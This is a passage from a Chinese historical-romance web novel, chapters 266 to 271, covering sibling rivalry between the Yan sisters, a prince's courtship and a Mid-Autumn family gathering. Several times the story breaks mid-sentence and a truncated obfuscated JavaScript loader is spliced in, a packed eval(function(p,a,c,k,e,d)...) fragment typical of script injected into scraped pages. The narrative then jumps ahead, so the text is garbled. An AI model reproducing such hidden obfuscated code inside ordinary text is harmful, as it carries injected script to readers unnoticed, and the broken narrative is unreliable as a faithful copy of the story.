那是一个身着玄色锦袍的年轻男子,身姿挺拔如松,眉目俊朗如画,周身散发着一种难以言喻的贵气,让人不敢逼视。 晏清萦只匆匆瞥了一眼,便像是触电般飞快地垂下眼帘,长长的睫毛遮掩住眸中一闪而逝的复杂情绪,像是害怕被人窥探到内心的秘密。 “庭院里桂花正盛,我想着……采一些带回去制作香囊。” 她低眉顺眼地回答,声音细若蚊蝇,轻得几乎让人听不清,仿佛风一吹就会消散。 “六妹妹,这位公子……莫非是哥哥的挚友?” 晏清萦“疑惑”地抬眸,目光在晏玥玥和那男子之间来回逡巡,眼神中带着恰到好处的茫然和探究,又像是怕惊扰了什么似的,小心翼翼地补上一句: “你们……怎么会在这里?” 她问得小心翼翼,每一个字都像是经过深思熟虑,生怕说错了一个字。心中却已经隐隐有了答案,只是还需要一个确认。 这般偏僻的园子,孤男寡女…… 果然,晏玥玥的声音,清脆悦耳,却带着几分难以掩饰的炫耀,在她头顶响起: “这位是吴王殿下。” 晏玥玥脸上绽开一个灿烂的笑容,像是盛开的牡丹花,娇艳夺目,让人移不开眼。 “承煜哥哥,这是我家三姐。遗憾那场 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然最后,那些姨娘们都落得个凄惨的下场。 但是,父亲却始终认为是母亲容不下她们,是母亲在背后动的手脚! 这些话,晏明远和钱雅芝从来没有当着晏玥玥的面说过。 可是,这世上哪有不透风的墙? 更何况,他们都生活在同一个屋檐下,晏玥玥又怎么可能什么都不知道? 晏玥玥越想越难过,她害怕,害怕韩承煜也会变成父亲那样,害怕他也会背叛自己,抛弃自己。 晶莹的泪珠,再也控制不住,大颗大颗地滚落下来,像是断了线的珠子。 韩承煜看着她泪眼朦胧的模样,心疼得像是被针扎了一样。 他慌忙伸手,用指腹轻轻地拭去她脸上的泪水,动作轻柔得像是对待一件易碎的珍宝。 “玥玥,别哭,我不是那样的人。” 他的声音低沉而坚定,每一个字都像是承诺,重重地敲在晏玥玥的心上。 “相信我,好吗?” 他顿了顿,目光灼灼地看着她,眼神中充满了真诚和期待。 “我心里只有你,为了我们的将来,我一直在努力,你……给我一点时间,给咱家一点面子,好吗?” 最后那句“好吗”,他的语气放得极轻,带着一丝不易察觉的恳求。 他的声音,像是带着魔力,让晏玥玥的心,渐渐平静下来。 原本的怀疑、不安,似乎也随之消散了一些。 她抬起头,看着韩承煜深邃的眼眸,那里似乎有她看不懂的情绪。 “真的……不会变吗?” 她问得小心翼翼,声音里带着几分不确定,和对未来的茫然与忐忑。 “承煜哥哥,你发誓,你以后……心里眼里都是我一人,不会像我爹那样……纳妾,更不会……为了别的女人,欺负我……” 晏玥玥的声音越来越低,说到最后,几乎微不可闻,像是在自言自语。 韩承煜看着她眼中闪烁的泪光,心中一阵柔软。 他伸手,将她额前的碎发轻轻地拨到耳后,动作温柔得像是对待一件稀世珍宝。 “傻丫头,担心什么呢?” 他轻笑一声,声音低沉而宠溺。 “我保证,以后只会有你一个,再也不会有别人。” 他刻意避开了“纳妾”之类的字眼,转而用更温和的方式安抚她。 “玥玥,你要乖,要听话,我会……更疼你的。” 韩承煜俯下身,在她耳边轻声说道,温热的气息喷洒在她的耳畔,引起一阵酥麻的痒意。 晏玥玥的脸颊,瞬间染上了一层绯红。 她有些慌乱地避开韩承煜灼热的目光,心跳得厉害。 她轻轻地“嗯”了一声,算是答应了韩承煜。 可是,她的心里,却还是有一丝不安。 她想起那些话本里的故事,那些男子,哪一个不是在成亲之前信誓旦旦,成亲之后却又变了心的? 韩承煜……真的会不一样吗? 她不敢确定。 “承煜哥哥,我们不说这个了……” 晏玥玥不想再继续这个让她感到不安的话题。 她试图转移话题,却被韩承煜打断。 韩承煜并没有像往常那样顺着她,而是捧起她的脸,强迫她与自己对视。 “玥玥,看着我。” 他的声音低沉而严肃,带着不容拒绝的意味。 “告诉我,你喜欢我吗?” 他的目光灼灼,像是要看进她的心里。 晏玥玥被他看得心慌意乱,眼神闪躲,不敢与他对视。 “我……” 她张了张嘴,却不知道该如何回答。 “告诉我,玥玥,你喜欢我吗?” 韩承煜步步紧逼,再次问道,声音里带着一丝不易察觉的急切。 他捧着她的脸,不让她有任何逃避的机会。 晏玥玥被他逼得无路可退,只能硬着头皮回答: “我……我当然是喜欢承煜哥哥的……” 她的声音很轻,带着一丝羞涩,也带着一丝不确定。 韩承煜听到她的回答,脸上露出了满意的笑容。 他俯下身,想要吻她。 晏玥玥却像是受了惊的小鹿,猛地向后退去,躲开了他的吻。 “承煜哥哥,我们……还是去看看桂花吧……” 她慌乱地说道,眼神闪躲,不敢看韩承煜的眼睛。 “那边……还有一处秋千,我带你去荡秋千……” 她一边说着,一边挣脱了韩承煜的怀抱,转身朝着园子深处跑去。 韩承煜看着她落荒而逃的背影,嘴角的笑容渐渐消失,取而代之的是一抹意味深长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“六妹妹,我……我还有事,就先告退了。”她微微侧身,向晏玥玥福了福身,声音依旧是那般轻柔。 “改日……再来与妹妹说话。”说完,她便匆匆转身,似是急于逃离这让她感到压抑的地方。 第二百六十六章 晏玥玥巴不得她赶紧离开。晏清萦看韩承煜的那一眼,让她感到莫名的不舒服。 她对晏清萦,以及苏府里其他的几位姐姐,向来没什么好感。 别人家的姐妹都是相亲相爱,偏生她的这些姐姐们,个个都爱与她争抢。 眼见晏清萦如此识趣,晏玥玥心头的闷气稍稍散了些。 “嗯,你去吧。”她淡淡地应了一声,又状似关切地问,“你那桂花,可摘够了?若是不够,我让丫鬟们再去帮你摘些,给你送去?” 晏清萦脚步微顿,却并未回头。 “不必了。”她轻声回绝,声音中带着一丝不易察觉的疏离。 晏玥玥送的东西,她可不敢收。谁知道里面,又藏着什么祸事。 或许晏玥玥并无害她之心,但她那位嫡母,可是个心狠手辣的主儿。 晏清萦快步离去,只留下一个纤弱的背影。 韩承煜望着那背影,若有所思。 这一幕,自然没有逃过晏玥玥的眼睛。 她轻哼一声,终是忍不住,话里带了几分酸意:“口口声声说专一,这才见了三姐姐多久,魂儿都被勾走了。” “看什么看?人都走远了!” 她突然有些厌恶晏清萦。 韩承煜回过神,看着晏玥玥微微嘟起的嘴,有些无奈,也有些好笑。 “又胡思乱想了不是?我与你说过多少次了,要信任我。”他伸手,轻轻捏了捏晏玥玥的脸颊。 “一个庶女,如何能入得了我的眼?” 韩承煜语气中带着几分不悦。 晏玥玥撇撇嘴。 “我也不想乱吃醋啊,可谁让你的眼睛,都快黏在我三姐姐身上了?”她微微仰起头。 韩承煜再次捏了捏她的脸颊,语气宠溺: “哪能比你好看?你这小脑袋瓜里,整日里都想些什么呢?” 晏玥玥哼了一声,扭过头去,不理他。 韩承煜见状,轻轻拉了拉她的衣袖,眼神微微一变,语气也严肃了几分: “说起来,我倒是头一回见你这位三姐姐,她……可曾定亲?” 晏玥玥心中警铃大作,霍然转头。 她紧紧盯着韩承煜。 韩承煜突然这么问,莫非……真是看上了晏清萦? 她藏在袖中的手,不自觉地握紧成拳。 “你……打听这事干嘛?”晏玥玥尽量让自己的语气听起来轻松随意。 “难不成……”她顿了顿,像是突然想到了什么好玩的事情,噗嗤一声笑了出来,“你看上我三姐姐了?想纳她做侧妃?” 晏玥玥眨了眨眼,一脸天真地看着韩承煜,仿佛真的只是随口一问。 但她心中清楚,若韩承煜真的对晏清萦有意思,那也只能是侧妃。 正妃之位,绝无可能! 韩承煜被她这突如其来的问题问得一愣,随即哭笑不得。 “玥玥,你这小脑袋瓜里,都在想些什么?”他伸手点了点她的额头,“我只是想起,我有一位好友,尚未娶妻,或许……” “只是这样?” 晏玥玥打断了他的话,语气中带着一丝不确定。 她微微低头,长长的睫毛轻轻颤动,掩盖了她眼中的情绪。 韩承煜的话,她并不全信。 她抬起头,脸上又恢复了那副天真烂漫的笑容,只是那笑容中,似乎多了一丝试探。 “承煜哥哥的那位好友,必然是人中龙凤。”晏玥玥一边说着,一边仔细观察着韩承煜的表情,“这样的人物,想来也不缺合适的女子。” 她语气一转,似是漫不经心地提议: “其实,除了三姐姐,我四姐到现在还单着呢。她虽与三姐姐不同,却也是个美人胚子,承煜哥哥何不考虑一下?” 晏玥玥不喜欢晏清澜,那个整日舞刀弄枪的四姐,实在让她喜欢不起来。 但若是能将晏清澜嫁给韩承煜的好友,倒也不失为一个好办法。 一来,可以借此机会,让晏清澜远离苏府,免得再与她争宠。 二来,能成为韩承煜好友的人,想必家世才学都不会差,也算是为晏清澜寻了个好归宿。 三来,如果真的亲上加亲,将来她在澜王府也能有个照应,毕竟晏清澜身后还有个陆家。 晏玥玥在心中飞快地盘算着,越发觉得自己这个主意不错。 韩承煜听了晏玥玥的话,眼中闪过一抹不易察觉的光芒。 他微微一笑,摇了摇头。 “你四姐的终身大事,恐怕不是我们能做主的。” “陆家对你四姐姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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日后,她若能如愿成为燕王妃,晏清澜见了她,不管心里如何作想,表面功夫还是要做足,该鞠躬的时候绝不含糊。 一想到那样的画面,晏玥玥就觉得心头的郁气消散了不少,连带着呼吸都顺畅了许多。 第二百六十七章 韩承煜的嘴角勾起一抹不易察觉的冷弧,眼底深处似有寒潭涌动,但转瞬即逝。他轻轻拍了拍晏玥玥的背,语气依旧温和: “清澜……” 他故意拖长了语调,却没有继续说下去,只是意味深长地笑了笑,未置可否。 …… 另一边,浮萍居内。 晏清澜有些头疼地看着眼前的童玄珏。 自打那日从山上回来,这人就跟在她这儿扎了根似的。 三天两头往她这儿跑,**都打着给暮雪送东西的旗号。 晏清澜扫了一眼桌上堆得满满当当的各色物件。 从西域进贡的羊羔绒毯,到江南特产的蜜饯果脯,再到各色精致的玉石摆件…… 简直是应有尽有,琳琅满目。 不知道的,还以为他这是要把整个澜王府都搬过来。 “我说,你这是不是有点太夸张了?” 晏清澜指着桌上的东西,语气无奈: “暮雪它不过是只狐狸,哪儿用得着这么多东西?” “不多不多,”童玄珏正弯腰逗弄着在软榻上打滚的暮雪,闻言头也不抬地说道,“这些都是我精挑细选的,暮雪一定喜欢。” 他伸手轻轻挠了挠暮雪的下巴,小狐狸舒服地眯起了眼睛,喉咙里发出咕噜咕噜的声音。 “你看看,它这不是挺高兴的吗?”童玄珏得意地朝晏清澜挑了挑眉。 “……”晏清澜无语。 她发现,自从这小狐狸来了之后,童玄珏在她面前是越来越放得开了。 “对了,”童玄珏像是突然想起了什么,从袖中掏出一个精致的锦盒,“差点忘了这个。” 他打开锦盒,里面赫然躺着一对晶莹剔透的红宝石耳坠。 “这是……”晏清澜微微蹙眉。 “送你的。”童玄珏将锦盒递到她面前,语气随意,“上次见你戴的那对耳环有些旧了,这对新的,你试试看。” 晏清澜没有接,只是似笑非笑地看着他: “无事献殷勤,非奸即盗。说吧,你又有什么事求我?” “瞧你这话说的,”童玄珏一脸受伤的表情,“我像是那种有事才来找你的人吗?” 他将锦盒往晏清澜手里塞了塞: “就当是……感谢你这段时间帮我照顾暮雪。” 晏清澜瞥了他一眼,语气淡淡: “你直接把暮雪接回去,不就不用我照顾了?” “那怎么行?”童玄珏立马摇头,“暮雪喜欢你这儿,我可不能委屈了它。” “我看是委屈了你自己吧?” 晏清澜毫不留情地戳穿了他的小心思。 童玄珏也不恼,只是笑眯眯地看着她,一副“你说什么就是什么”的模样。 晏清澜被他这无赖的样子气笑了。 她接过锦盒,随手扔到桌上: “行了,东西我收下了。你还有什么事,赶紧说吧。” “还是你了解我。”童玄珏也不再绕弯子,直接说明了来意,“过几日是皇后的寿辰,我想请你陪我一同进宫。” “皇后寿辰?”晏清澜微微挑眉,“我去合适吗?” “有什么不合适的?”童玄珏反问,“你可是我未来的燕王妃,陪我进宫贺寿,名正言顺。” “谁是你未来的燕王妃?”晏清澜瞪了他一眼,“别乱说。” “早晚的事。”童玄珏笑得一脸笃定。 “……”晏清澜懒得跟他争辩,直接转移了话题,“进宫可以,但我有一个条件。” “什么条件?”童玄珏问。 “我要带暮雪一起去。”晏清澜说。 “这……”童玄珏有些犹豫,“宫里规矩多,怕是不太方便。” “那算了,”晏清澜作势要起身,“既然不方便,那我就不去了。” “别别别,”童玄珏连忙拉住她,“我去跟皇后说,让她特许你带暮雪进宫。” “这还差不多。”晏清澜满意地点了点头。 童玄珏看着她,眼神宠溺又无奈。 他发现,自己对这丫头,是越来越没办法了。 不过,这种感觉,似乎也不坏。 童玄珏微微勾起唇角,目光落在晏清澜那张明艳动人的脸上。 她乌发雪肤,生了一双潋滟的桃花眼,认真看着你的时候,总让人觉得,她的眼里心里都只有你一个人。 他凑近了些,语气低沉而富有磁性: “你若实在想谢我,不如应了我先前说的。” 晏清澜挑眉看他: “哪句?” 童玄珏双手抱臂,目光灼灼地盯着她: “嫁给我,做燕王妃。整个澜王府,都是你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他语气平淡,听不出喜怒。 晏清澜也端起茶盏,学着他的样子,轻轻吹了吹漂浮的茶叶。 第二百六十八章 她微微低头,看着茶汤中自己模糊的倒影,嘴角勾起一抹若有若无的笑。 “王爷可真是贵人多忘事。” 她将茶盏轻轻放在桌上,抬眼看向童玄珏,眼神中带着几分挑衅。 “当初您‘赏赐’的那些家财,可是让小女子我,好、生、头、疼。” 她一字一顿,特意加重了“赏赐”两个字的音调,话里带刺。 晏清澜顿了顿,目光在童玄珏身上来回扫视,像是在评估一件货物的价值。 “怎么,燕王殿下这是……专程来看戏的?” 她朱唇轻启,声音中带着几分冷意。 “这场戏,您瞧着……可还入眼?” 童玄珏脸上的笑容微微一僵,像是被人戳破了心事,有些不自在。 他轻咳一声,眼神闪躲,试图掩饰自己的心虚。 “那时……” 他的声音低了下去,带着几分不确定。 “……与你还不像如今这般熟识。” 这话,怎么听都像是借口。 晏清澜双手环胸,微微向后靠去,摆出一副看热闹的姿态。 她斜睨着童玄珏,眼神中带着毫不掩饰的嘲讽。 “是啊,那时你我确实不熟。” 她轻哼一声,语气中带着几分轻蔑。 “但我好歹也算是救了您一命,殿下。” “您就是这样……对待您的救命恩人的?” 她故意避开了自己收了巨额诊金的事实,毕竟,这事儿说出来也不太光彩。 童玄珏微微垂眸,像是在认真思考。 片刻后,他抬起头,眼神柔和了几分,带着几分试探: “这么说来,倒的确是我失礼了。” 他凝视着晏清澜,眼中闪烁着点点星光,像是夜空中最亮的星辰。 他顿了顿,似乎下定了决心。 “救命之恩,无以为报……” “不如……” 他故意拉长了语调, “以身相许如何?” 晏清澜翻了个白眼,毫不客气地打断了他。 “您可省省吧。” 她撇了撇嘴,语气中带着几分嫌弃。 “您那点儿心思,我还不知道?” 她眨了眨眼,嘴角微微上扬,眼神中闪过一丝坏笑,像是得逞的小狐狸。 “不过,您要是真想报答我,倒也不是不可以。” 她故意停顿了一下,吊足了童玄珏的胃口。 “不如……您再多给点儿诊金?” 晏清澜笑眯眯地看着童玄珏, “当初那八千两黄金,实在是太少了点儿,跟您的身份可不相符。” 她理直气壮地说道, “您可是堂堂燕王殿下,权势滔天,富可敌国。” “我要是只收那么点儿钱,岂不是让人笑话?” “还以为我晏清澜,看不起您呢。” 童玄珏被她这番歪理说得一愣,随即苦笑起来。 他揉了揉眉心,只觉得一阵头疼。 “不可,不可。” 他连连摇头, “诊金岂能用金银这等俗物来衡量?” “晏四姑娘冰清玉洁,岂能被这些阿堵物玷污?” 晏清澜一听这话,顿时急了。 她连忙摆手,生怕童玄珏反悔。 “诶,您这话说的。” 她急切地说道, “我不嫌弃,真的!” “您尽管用金银珠宝来‘玷污’我吧!我保证不躲!” 她眨巴着眼睛,一脸真诚。 “多多益善,我不怕多!” 金银谁不爱? 她晏清澜又不是圣人! 童玄珏看着她那副财迷的样子,忍不住笑出声来。 他眼中闪过一丝戏谑,起了逗弄她的心思。 “这样吧,我倒是有个更好的主意。” 他清了清嗓子,故意说道, “你喊我一声‘夫君’,我就给你八千两。” “你若是不停地喊,我就不停地给……” 童玄珏本以为晏清澜会恼羞成怒,或者直接翻脸。 谁知,她竟然真的开始考虑起来。 他不禁觉得好笑,这个问题实在无聊, “晏清澜,你该不会真打算为了银子,连脸都不要了吧?” 他甚至已经预料到了晏清澜的反应:恼羞成怒,直接杀了他,再用那八千两银子把他给埋了。 还是挫骨扬灰的那种。 “不!” 出乎童玄珏的意料,晏清澜并没有像他想象中那样暴跳如雷。 她一脸严肃,眼神认真,语气坚定。 她斩钉截铁地说:“我不会杀你。” 童玄珏挑眉,等待着她的下文。 只见晏清澜深吸一口气,像是下了很大的决心。 “我会一直喊,直到你倾家荡产!” 这么好的赚银子的机会,不把握住的是傻子! 她面无表情地看着童玄珏,声音清冷: “夫君~” 她特意拉长了音调,带着几分娇媚,几分戏谑。 晏清澜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晏清澜抬起头,看向童玄珏,眼神中带着几分探究。 “话说回来,燕王殿下,您是不是经常干这种事啊? 第二百六十九章 ” 她语气中带着几分戏谑, “您对多少姑娘说过这种话?” “又有多少姑娘,为了银子叫过您‘夫君’?” “您要是愿意分享一下,我倒是很乐意听听。” 童玄珏被她问得哑口无言,一时间竟不知道该如何回答。 他唇角微微抽搐,只觉得一阵头疼。 这话题怎么突然就转到他身上来了? 他这是搬起石头砸自己的脚? 童玄珏忍不住在心里苦笑。“嗯?”晏清澜搁下手中的青瓷茶盏,抬眼看向童玄珏,眼神中带着几分玩味。 “怎么不说话了?” 她用纤细的手指轻叩桌面,发出清脆的“笃笃”声,在安静的房间里格外清晰。 “这事情让你为难了吧?”她挑眉。 等了片刻,见童玄珏依旧沉默,晏清澜微微歪头,语气里添了三分戏谑,像是在逗弄一只猫儿。 “还是说……太多了,王爷您自己都数不过来了?” 这话可就越说越离谱了,简直是把童玄珏往风流浪子的形象上推。 童玄珏无奈扶额,只觉得太阳穴突突直跳,一阵阵的抽痛。 “除了你,”他顿了顿,声音低沉,每一个字都像是从喉咙深处挤出来的,“谁还有这胆子?” 他抬眼,目光沉沉地落在晏清澜的脸上,眼神复杂难辨,似乎带着无奈,又似乎藏着几分不易察觉的宠溺。那眼神,像是要把她看穿,又像是要把她揉进骨血里。 “我要是真跟别的姑娘说过这话,京城里‘断袖’的传言还能传得这么真?”他反问,语气里带着一丝自嘲。 晏清澜听了这话,终是没忍住,“噗嗤”一声笑了出来。 那笑声清脆,如同山间清泉流淌而过,悦耳动听,却又带着几分幸灾乐祸,像是偷吃了糖果的小狐狸。 “看来,我不该问有多少女子叫过你‘夫君’,”她用手背轻轻拭去眼角笑出来的泪花,话锋一转,语气变得轻快起来,“我该问,丞相家的公子有没有这么叫过?” 她口中的丞相公子,自然指的是与童玄珏交好的姚澜。 坊间传闻,这姚澜和童玄珏,可没少被人当成一对璧人。甚至有人私下打赌,赌他们俩谁先成亲。 童玄珏闻言,只是淡淡地瞥了她一眼,唇角微微勾起,看不出喜怒。 “你拿我打趣也就算了,姚澜可是有心上人的。这话要是传出去,让人家姑娘听到了,生了误会,那可如何是好?” “姚澜有喜欢的人了?” 晏清澜的眼睛微微睁大,清澈的眸中闪过一丝惊讶,像是听到了什么不可思议的事情。 她记得书里没写这一段啊,难不成是她看漏了? 或许是她脸上的惊讶太过明显,童玄珏原本温和的眼神瞬间冷了下来,深邃的黑眸中闪过一丝寒意,像冬日里结了冰的湖面,寒气逼人。 “你很关心他有没有喜欢的姑娘?” 他的声音很轻,很缓,却带着一种不容忽视的压迫感,像是无形的枷锁,牢牢地锁住了晏清澜。 晏清澜这才回过神,意识到自己有些失态,连忙收敛了脸上的表情,故作镇定地瞥了童玄珏一眼,眼神闪躲。 “毕竟大家都说你俩是天造地设的一对,突然听说他有心上人了,这消息确实挺让人惊讶的。” 她轻描淡写地解释,语气平淡,试图掩饰自己刚才的失态。 童玄珏意味深长地看着她,目光如炬,似乎要看穿她的内心,将她所有的心思都看得一清二楚。 “你就只关心他有没有心上人?”他的语气中竟带上了一丝莫名的幽怨,像是被抛弃的小狗。 晏清澜微微一怔,一时间竟不知该如何回答。她感到有些窘迫,又有些茫然。 她垂下眼帘,掩饰住眼底复杂的情绪,弯下腰,轻轻抚摸着脚边雪白小狐狸的脑袋,柔软的触感让她稍微放松了些。指尖传来的温暖,让她纷乱的思绪逐渐平静下来。 半晌,她才缓缓开口,声音轻柔,却带着一丝不易察觉的疏离,像是在两人之间划出了一道无形的界限。 “你心里藏着的秘密,我不是都知道了么。” 可这感情的事,最是经不起时间的考验。 更何况,她还有更重要的事要做,那件事,比儿女情长重要得多。 童玄珏究竟是不是一时兴起,谁又能说得准呢?他今天可以说喜欢她,明天也可以说喜欢别人。 想到这里,晏清澜的心中泛起一丝苦涩,像是吞下了一颗未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他从袖中取出一个精致的木盒,打开,里面静静地躺着一支通体碧绿的簪子,簪头上雕刻着栩栩如生的凤凰,凤凰的眼睛是用两颗极小的红宝石镶嵌而成,在烛光下闪烁着耀眼的光芒。 第二百七十章 “这是我母亲留下的,据说是用整块的帝王绿翡翠雕刻而成,价值连城。除了我母亲,她从未让任何人碰过。” 他将簪子从盒中取出,轻轻地插在晏清澜的发髻上,动作轻柔而小心,像是对待一件稀世珍宝。 “你觉得,我会把这么重要的东西,随便送给一个只是一时兴起的女人吗?” “我想要的,从来都不是一时的新鲜,而是……”他顿了顿,眼神深邃而专注,一字一顿地说,“长长久久的相守。” 这倒是。晏清澜微微垂眸,掩饰住眼底一闪而过的情绪。她承认,自己被童玄珏的举动和话语打动了。 “你……”她刚想开口说些什么,却被童玄珏打断了。 “这玉佩,”童玄珏的目光落在了被晏清澜随意搁置在一旁的玉佩上,那玉佩通体莹润,一看就价值不菲,“可不止八千两,你怎么随手就放?” 晏清澜将玉佩拾起,拿在手上细细把玩,眼神专注。 “我没想要你这八千两。”她语气淡淡。 “澜王府富可敌国,我自然是知道的。”晏清澜抬起头,眼神清亮,“银钱与我,不过身外之物。” 她唇角微弯,勾起一抹淡淡的笑容。 “在我这,它比不上几味珍稀药材。”她指尖摩挲过玉佩的表面。 童玄珏看着手中的玉佩,有些惋惜。他本想将这玉佩送给晏清澜,却没想到她并不在意这些身外之物。 “罢了,你既无意,我也不勉强。只是……”他话锋一转,“这云锦缎,你总该收下。”他指着旁边放着的云锦缎, 那锦缎在烛光下,泛着淡淡的光泽,如梦似幻。 “听闻,你与这云锦缎的产地,颇有渊源。我这里,倒是有几匹不错的,你拿去做几身衣裳。” “这颜色太招摇,”晏清澜想都没想就拒绝,她可不想成为众矢之的,“不妥。” 童玄珏思索片刻,缓缓道:“确实不妥,那就做成中衣。” “中衣?”晏清澜疑惑。 “嗯。”童玄珏笑了笑,眼神中带着一丝狡黠,“这样,就只有我能看见了。” 晏清澜被他这话说得有些不自在,她轻咳一声,别过头去。 “也只能这样了。”她低声嘟囔了一句。 物以稀为贵,云锦缎的价值,她比谁都清楚。这东西,可不是有钱就能买到的。 她自己手中也不过寥寥几匹,还是因为和产地有合作,才能拿到。 童玄珏倒是厉害,澜王府的云锦缎,怕是比国库里的还要多。 “你还缺什么?”童玄珏的目光重新回到她身上,眼神温柔而专注,像是要把她融化一般,“首饰?还是别的什么?” “不必。”晏清澜摇了摇头,她对那些东西,确实没什么兴趣。 “我如今这样便好。”她语气平淡。 童玄珏深深地看了她一眼,没有再说什么。他知道,晏清澜不是普通的女子,她有自己的想法和追求,他不能强求她接受自己的安排。 他将目光投向窗外,夜空中,一轮残月散发着清冷的光辉,月色虽美,却带着几分孤寂。 “过两日,便是中秋了。”他突然开口,声音低沉而沙哑,像是在提醒晏清澜,又像是在自言自语。 晏清澜抚摸着小狐狸的动作微微一顿,指尖的毛发柔软而顺滑,让她感到一丝安心。 她缓缓地点了点头,眼神中闪过一丝复杂的情绪,像是在回忆着什么,又像是在期待着什么。 “嗯,我知道。”她的声音很轻,很柔,像是怕惊扰了这宁静的夜晚。中秋夜,月如玉盘,清辉洒落。 不同于往年的安排,晏清澜依旧选择在陆家度过这个团圆节。 桌上,桂花酒泛着淡淡的金光,香气勾人。 芋团雪白,咬一口,是软糯的甜。 陆家人围坐一起,气氛温馨。 “玩骰子!输了的念诗,念不出来罚酒!”宋明澜总是闲不住,兴冲冲地张罗。 晏清澜端起酒杯,轻轻晃了晃,眼神带着一丝狡黠: “我可不擅长诗词,只要带‘月’字的都算,不然,你们就等着灌我酒吧。” 宋溪溪嘴里塞满了芋团,口齿不清地直点头: “对,阿清姐姐说的都对!” “哈哈,好,怎么开心怎么来!”厉宗玉爽朗的声音,能掀翻屋顶。 傅清霁望着窗外,目光温柔。 天边,烟花炸开,映着一轮圆月,美得惊心动魄。 她缓缓举杯,声音里,是满满的祝福: “今儿中秋,借月亮的光,保佑咱们一家,平平安安,顺顺利利。” “阿清,来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宋明澜好奇地想跟上去,却被厉宗玉一把拉住: “女孩子家的悄悄话,你凑什么热闹。来,陪爹喝酒!” 宋明澜只得悻悻地坐下。 另一边,宋溪溪拉着晏清澜来到院子里。 第二百七十一章 傅清霁早已命人在院中摆好了香案,上面供奉着月饼、水果等物。 “阿清姐姐,咱们一起拜月吧。”宋溪溪拉着晏清澜跪在蒲团上,“祈求月神娘娘保佑咱们心想事成。” 晏清澜看着宋溪溪认真的模样,心中一暖。 她也虔诚地闭上眼睛,默默许愿。 月光下,两个少女的身影,显得格外美好。 拜完月,宋溪溪从袖中掏出一个精致的荷包,塞到晏清澜手里: “阿清姐姐,这是我亲手绣的,送给你,祝你中秋快乐。” 晏清澜接过荷包,只见上面绣着一轮弯月和一只小狐狸,针脚细密,栩栩如生。 “谢谢你,溪溪。”她真心实意地道谢。 宋溪溪笑得眉眼弯弯:“咱们之间,还客气什么。” 两人正说着话,厉宗玉和宋明澜也走了过来。 厉宗玉提议道: “难得今晚月色这么好,咱们出去逛逛吧,这汴京的夜市可热闹着呢。” “好啊!”宋溪溪和晏清澜异口同声。 宋明澜摩拳擦掌:“走走走,我带你们去吃好吃的,看好看的!” 一家人就这样出了门。 刚走到街上,一阵凉风吹来。 傅清霁立刻将晏清澜的披风裹得更紧了些。 “阿清,这风可不小,仔细着凉。” 晏清澜还没来得及说话,宋溪溪已经抢先一步,握住了她的手。 “阿清姐姐,你手怎么这么凉?是不是冷了?” 晏清澜哭笑不得:“我真没事,就是手脚容易凉。” 宋明澜从路边小贩手里买来两串糖葫芦,递给她们: “吃点甜的,暖暖身子。” 厉宗玉也笑着说:“要是还冷,咱们就去‘沁月楼’,他家的羊肉锅子最是滋补。” 晏清澜心里暖洋洋的,她摇了摇头: “真不用,我哪有那么娇气。咱们还是去逛逛吧,那边好像有卖灯笼的。” 她指着不远处一个灯火通明的小摊。 宋溪溪立刻来了精神:“走,看看去!” 一行人朝灯笼摊走去。 而另一边,庄家的几人也来到了街上。 晏玥玥手里提着一盏玉兔灯,蹦蹦跳跳地走在前面。 晏雨珩跟在她身后,目光却有些游离。 他脸上的疤痕,在月光下若隐若现。 自从上次落水后,他整个人都变得沉默寡言。 晏景文和晏远舟走在最后面,两人都心事重重。 “大哥,你看……”晏景文欲言又止。 晏远舟顺着他的目光看去,正好看到晏清澜和陆家人说说笑笑的背影。 “别看了。”晏远舟淡淡地说,“那是她的选择。” 晏景文的拳头,不自觉地握紧。 他总觉得,有什么东西,正在悄悄地改变。 钱雅芝看着女儿们,忽然觉得心中空落落的。 “玥玥,你四哥呢?怎么还没回来?”她问晏玥玥。 晏玥玥摇了摇头:“不知道,四哥说他出去有点事。” 